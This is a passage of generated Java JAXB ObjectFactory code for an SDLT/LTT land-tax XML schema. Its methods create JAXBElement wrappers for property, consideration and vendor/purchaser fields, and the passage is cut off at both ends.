createSDLTSDLT4SDLT4ConsiderationTenant2LandlordCode3(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT4SDLT4ConsiderationTenant2LandlordCode3_QNAME, StringType.class, SDLT.SDLT4 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT4_ConsiderationTenant2LandlordCode4", scope = SDLT.SDLT4 .class) public JAXBElement<StringType> createSDLTSDLT4SDLT4ConsiderationTenant2LandlordCode4(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT4SDLT4ConsiderationTenant2LandlordCode4_QNAME, StringType.class, SDLT.SDLT4 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT4_ConsiderationLandlord2TenantCode1", scope = SDLT.SDLT4 .class) public JAXBElement<StringType> createSDLTSDLT4SDLT4ConsiderationLandlord2TenantCode1(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT4SDLT4ConsiderationLandlord2TenantCode1_QNAME, StringType.class, SDLT.SDLT4 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT4_ConsiderationLandlord2TenantCode2", scope = SDLT.SDLT4 .class) public JAXBElement<StringType> createSDLTSDLT4SDLT4ConsiderationLandlord2TenantCode2(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT4SDLT4ConsiderationLandlord2TenantCode2_QNAME, StringType.class, SDLT.SDLT4 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT4_ConsiderationLandlord2TenantCode3", scope = SDLT.SDLT4 .class) public JAXBElement<StringType> createSDLTSDLT4SDLT4ConsiderationLandlord2TenantCode3(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT4SDLT4ConsiderationLandlord2TenantCode3_QNAME, StringType.class, SDLT.SDLT4 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT4_ConsiderationLandlord2TenantCode4", scope = SDLT.SDLT4 .class) public JAXBElement<StringType> createSDLTSDLT4SDLT4ConsiderationLandlord2TenantCode4(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT4SDLT4ConsiderationLandlord2TenantCode4_QNAME, StringType.class, SDLT.SDLT4 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link EnumPropertyType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link EnumPropertyType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT3_PropertyTypeCode", scope = SDLT.SDLT3 .class) public JAXBElement<EnumPropertyType> createSDLTSDLT3SDLT3PropertyTypeCode(EnumPropertyType value) { return new JAXBElement<EnumPropertyType>(_SDLTSDLT3SDLT3PropertyTypeCode_QNAME, EnumPropertyType.class, SDLT.SDLT3 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT3_PropertyLocalAuthorityCode", scope = SDLT.SDLT3 .class) public JAXBElement<StringType> createSDLTSDLT3SDLT3PropertyLocalAuthorityCode(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT3SDLT3PropertyLocalAuthorityCode_QNAME, StringType.class, SDLT.SDLT3 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT3_PropertyTitleNumber", scope = SDLT.SDLT3 .class) public JAXBElement<StringType> createSDLTSDLT3SDLT3PropertyTitleNumber(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT3SDLT3PropertyTitleNumber_QNAME, StringType.class, SDLT.SDLT3 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT3_PropertyNLPGUPRN", scope = SDLT.SDLT3 .class) public JAXBElement<StringType> createSDLTSDLT3SDLT3PropertyNLPGUPRN(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT3SDLT3PropertyNLPGUPRN_QNAME, StringType.class, SDLT.SDLT3 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT3_PropertyAddressBuildingNo", scope = SDLT.SDLT3 .class) public JAXBElement<StringType> createSDLTSDLT3SDLT3PropertyAddressBuildingNo(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT3SDLT3PropertyAddressBuildingNo_QNAME, StringType.class, SDLT.SDLT3 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT3_PropertyAddressPostcode", scope = SDLT.SDLT3 .class) public JAXBElement<StringType> createSDLTSDLT3SDLT3PropertyAddressPostcode(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT3SDLT3PropertyAddressPostcode_QNAME, StringType.class, SDLT.SDLT3 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT3_PropertyAddress1", scope = SDLT.SDLT3 .class) public JAXBElement<StringType> createSDLTSDLT3SDLT3PropertyAddress1(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT3SDLT3PropertyAddress1_QNAME, StringType.class, SDLT.SDLT3 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT3_PropertyAddress2", scope = SDLT.SDLT3 .class) public JAXBElement<StringType> createSDLTSDLT3SDLT3PropertyAddress2(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT3SDLT3PropertyAddress2_QNAME, StringType.class, SDLT.SDLT3 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT3_PropertyAddress3", scope = SDLT.SDLT3 .class) public JAXBElement<StringType> createSDLTSDLT3SDLT3PropertyAddress3(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT3SDLT3PropertyAddress3_QNAME, StringType.class, SDLT.SDLT3 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT3_PropertyAddress4", scope = SDLT.SDLT3 .class) public JAXBElement<StringType> createSDLTSDLT3SDLT3PropertyAddress4(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT3SDLT3PropertyAddress4_QNAME, StringType.class, SDLT.SDLT3 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT3_PropertyUnitsHectareMetres", scope = SDLT.SDLT3 .class) public JAXBElement<StringType> createSDLTSDLT3SDLT3PropertyUnitsHectareMetres(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT3SDLT3PropertyUnitsHectareMetres_QNAME, StringType.class, SDLT.SDLT3 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT3_PropertyAreaSize", scope = SDLT.SDLT3 .class) public JAXBElement<StringType> createSDLTSDLT3SDLT3PropertyAreaSize(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT3SDLT3PropertyAreaSize_QNAME, StringType.class, SDLT.SDLT3 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT3_PropertyMineralRightsYesNo", scope = SDLT.SDLT3 .class) public JAXBElement<BooleanType> createSDLTSDLT3SDLT3PropertyMineralRightsYesNo(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTSDLT3SDLT3PropertyMineralRightsYesNo_QNAME, BooleanType.class, SDLT.SDLT3 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT3_PropertyPlanAttachedYesNo", scope = SDLT.SDLT3 .class) public JAXBElement<BooleanType> createSDLTSDLT3SDLT3PropertyPlanAttachedYesNo(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTSDLT3SDLT3PropertyPlanAttachedYesNo_QNAME, BooleanType.class, SDLT.SDLT3 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link EnumInterestType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link EnumInterestType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT3_InterestCreatedCode", scope = SDLT.SDLT3 .class) public JAXBElement<EnumInterestType> createSDLTSDLT3SDLT3InterestCreatedCode(EnumInterestType value) { return new JAXBElement<EnumInterestType>(_SDLTSDLT3SDLT3InterestCreatedCode_QNAME, EnumInterestType.class, SDLT.SDLT3 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link EnumInterest2Type }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link EnumInterest2Type }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT3_InterestCreatedCodeDetailed", scope = SDLT.SDLT3 .class) public JAXBElement<EnumInterest2Type> createSDLTSDLT3SDLT3InterestCreatedCodeDetailed(EnumInterest2Type value) { return new JAXBElement<EnumInterest2Type>(_SDLTSDLT3SDLT3InterestCreatedCodeDetailed_QNAME, EnumInterest2Type.class, SDLT.SDLT3 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_Country", scope = SDLT.SDLT3 .class) public JAXBElement<StringType> createSDLTSDLT3LTTCountry(StringType value) { return new JAXBElement<StringType>(_SDLTLTTCountry_QNAME, StringType.class, SDLT.SDLT3 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_LandArgiculturalYesNo", scope = SDLT.SDLT3 .class) public JAXBElement<BooleanType> createSDLTSDLT3LTTLandArgiculturalYesNo(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTSDLT3LTTLandArgiculturalYesNo_QNAME, BooleanType.class, SDLT.SDLT3 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_LandSituation", scope = SDLT.SDLT3 .class) public JAXBElement<StringType> createSDLTSDLT3LTTLandSituation(StringType value) { return new JAXBElement<StringType>(_SDLTLTTLandSituation_QNAME, StringType.class, SDLT.SDLT3 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_LandSituationYesNo", scope = SDLT.SDLT3 .class) public JAXBElement<BooleanType> createSDLTSDLT3LTTLandSituationYesNo(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTSDLT3LTTLandSituationYesNo_QNAME, BooleanType.class, SDLT.SDLT3 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link String }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link String }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_TotalConsideration", scope = SDLT.SDLT3 .class) public JAXBElement<String> createSDLTSDLT3LTTTotalConsideration(String value) { return new JAXBElement<String>(_SDLTLTTTotalConsideration_QNAME, String.class, SDLT.SDLT3 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_MineralsRightsYesNo", scope = SDLT.SDLT3 .class) public JAXBElement<BooleanType> createSDLTSDLT3LTTMineralsRightsYesNo(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTSDLT3LTTMineralsRightsYesNo_QNAME, BooleanType.class, SDLT.SDLT3 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link String }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link String }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_NetPresentValue", scope = SDLT.SDLT3 .class) public JAXBElement<String> createSDLTSDLT3LTTNetPresentValue(String value) { return new JAXBElement<String>(_SDLTLTTNetPresentValue_QNAME, String.class, SDLT.SDLT3 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_LandHasAddressYesNo", scope = SDLT.SDLT3 .class) public JAXBElement<BooleanType> createSDLTSDLT3LTTLandHasAddressYesNo(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTSDLT3LTTLandHasAddressYesNo_QNAME, BooleanType.class, SDLT.SDLT3 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_PropertyLocalAuthorityCode", scope = SDLT.SDLT3 .class) public JAXBElement<StringType> createSDLTSDLT3LTTPropertyLocalAuthorityCode(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT3LTTPropertyLocalAuthorityCode_QNAME, StringType.class, SDLT.SDLT3 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_IsLandExchangedYesNo", scope = SDLT.SDLT3 .class) public JAXBElement<BooleanType> createSDLTSDLT3LTTIsLandExchangedYesNo(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTSDLT3LTTIsLandExchangedYesNo_QNAME, BooleanType.class, SDLT.SDLT3 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_LandExchangedPostcode", scope = SDLT.SDLT3 .class) public JAXBElement<StringType> createSDLTSDLT3LTTLandExchangedPostcode(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT3LTTLandExchangedPostcode_QNAME, StringType.class, SDLT.SDLT3 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_LandExchangedBuildingNo", scope = SDLT.SDLT3 .class) public JAXBElement<StringType> createSDLTSDLT3LTTLandExchangedBuildingNo(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT3LTTLandExchangedBuildingNo_QNAME, StringType.class, SDLT.SDLT3 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_LandExchangedAddress1", scope = SDLT.SDLT3 .class) public JAXBElement<StringType> createSDLTSDLT3LTTLandExchangedAddress1(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT3LTTLandExchangedAddress1_QNAME, StringType.class, SDLT.SDLT3 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_LandExchangedAddress2", scope = SDLT.SDLT3 .class) public JAXBElement<StringType> createSDLTSDLT3LTTLandExchangedAddress2(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT3LTTLandExchangedAddress2_QNAME, StringType.class, SDLT.SDLT3 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_LandExchangedAddress3", scope = SDLT.SDLT3 .class) public JAXBElement<StringType> createSDLTSDLT3LTTLandExchangedAddress3(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT3LTTLandExchangedAddress3_QNAME, StringType.class, SDLT.SDLT3 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_LandExchangedAddress4", scope = SDLT.SDLT3 .class) public JAXBElement<StringType> createSDLTSDLT3LTTLandExchangedAddress4(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT3LTTLandExchangedAddress4_QNAME, StringType.class, SDLT.SDLT3 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_LandExchangedCountry", scope = SDLT.SDLT3 .class) public JAXBElement<StringType> createSDLTSDLT3LTTLandExchangedCountry(StringType value) { return new JAXBElement<StringType>(_SDLTLTTLandExchangedCountry_QNAME, StringType.class, SDLT.SDLT3 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT2_AdditionalVendorOrPuchaser", scope = SDLT.SDLT2 .class) public JAXBElement<StringType> createSDLTSDLT2SDLT2AdditionalVendorOrPuchaser(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2SDLT2AdditionalVendorOrPuchaser_QNAME, StringType.class, SDLT.SDLT2 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT2_AdditionalVendorPurchaserTitle", scope = SDLT.SDLT2 .class) public JAXBElement<StringType> createSDLTSDLT2SDLT2AdditionalVendorPurchaserTitle(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2SDLT2AdditionalVendorPurchaserTitle_QNAME, StringType.class, SDLT.SDLT2 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT2_AdditionalVendorPurchaserSurname", scope = SDLT.SDLT2 .class) public JAXBElement<StringType> createSDLTSDLT2SDLT2AdditionalVendorPurchaserSurname(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2SDLT2AdditionalVendorPurchaserSurname_QNAME, StringType.class, SDLT.SDLT2 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT2_AdditionalVendorPurchaserFirstName1", scope = SDLT.SDLT2 .class) public JAXBElement<StringType> createSDLTSDLT2SDLT2AdditionalVendorPurchaserFirstName1(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2SDLT2AdditionalVendorPurchaserFirstName1_QNAME, StringType.class, SDLT.SDLT2 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT2_AdditionalVendorPurchaserFirstName2", scope = SDLT.SDLT2 .class) public JAXBElement<StringType> createSDLTSDLT2SDLT2AdditionalVendorPurchaserFirstName2(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2SDLT2AdditionalVendorPurchaserFirstName2_QNAME, StringType.class, SDLT.SDLT2 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT2_AdditionalVendorPurchaserAddressPostcode", scope = SDLT.SDLT2 .class) public JAXBElement<StringType> createSDLTSDLT2SDLT2AdditionalVendorPurchaserAddressPostcode(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2SDLT2AdditionalVendorPurchaserAddressPostcode_QNAME, StringType.class, SDLT.SDLT2 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT2_AdditionalVendorPurchaserAddressBuildingNo", scope = SDLT.SDLT2 .class) public JAXBElement<StringType> createSDLTSDLT2SDLT2AdditionalVendorPurchaserAddressBuildingNo(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2SDLT2AdditionalVendorPurchaserAddressBuildingNo_QNAME, StringType.class, SDLT.SDLT2 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT2_AdditionalVendorPurchaserAddress1", scope = SDLT.SDLT2 .class) public JAXBElement<StringType> createSDLTSDLT2SDLT2AdditionalVendorPurchaserAddress1(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2SDLT2AdditionalVendorPurchaserAddress1_QNAME, StringType.class, SDLT.SDLT2 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT2_AdditionalVendorPurchaserAddress2", scope = SDLT.SDLT2 .class) public JAXBElement<StringType> createSDLTSDLT2SDLT2AdditionalVendorPurchaserAddress2(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2SDLT2AdditionalVendorPurchaserAddress2_QNAME, StringType.class, SDLT.SDLT2 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT2_AdditionalVendorPurchaserAddress3", scope = SDLT.SDLT2 .class) public JAXBElement<StringType> createSDLTSDLT2SDLT2AdditionalVendorPurchaserAddress3(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2SDLT2AdditionalVendorPurchaserAddress3_QNAME, StringType.class, SDLT.SDLT2 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT2_AdditionalVendorPurchaserAddress4", scope = SDLT.SDLT2 .class) public JAXBElement<StringType> createSDLTSDLT2SDLT2AdditionalVendorPurchaserAddress4(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2SDLT2AdditionalVendorPurchaserAddress4_QNAME, StringType.class, SDLT.SDLT2 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT2_PurchaserVendorConnectedYesNo", scope = SDLT.SDLT2 .class) public JAXBElement<BooleanType> createSDLTSDLT2SDLT2PurchaserVendorConnectedYesNo(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTSDLT2SDLT2PurchaserVendorConnectedYesNo_QNAME, BooleanType.class, SDLT.SDLT2 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT2_AdditionalPurchaserActingAsTrusteeYesNo", scope = SDLT.SDLT2 .class) public JAXBElement<BooleanType> createSDLTSDLT2SDLT2AdditionalPurchaserActingAsTrusteeYesNo(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTSDLT2SDLT2AdditionalPurchaserActingAsTrusteeYesNo_QNAME, BooleanType.class, SDLT.SDLT2 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_Country", scope = SDLT.SDLT2 .class) public JAXBElement<StringType> createSDLTSDLT2LTTCountry(StringType value) { return new JAXBElement<StringType>(_SDLTLTTCountry_QNAME, StringType.class, SDLT.SDLT2 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_IndividualOrOrganisation", scope = SDLT.SDLT2 .class) public JAXBElement<StringType> createSDLTSDLT2LTTIndividualOrOrganisation(StringType value) { return new 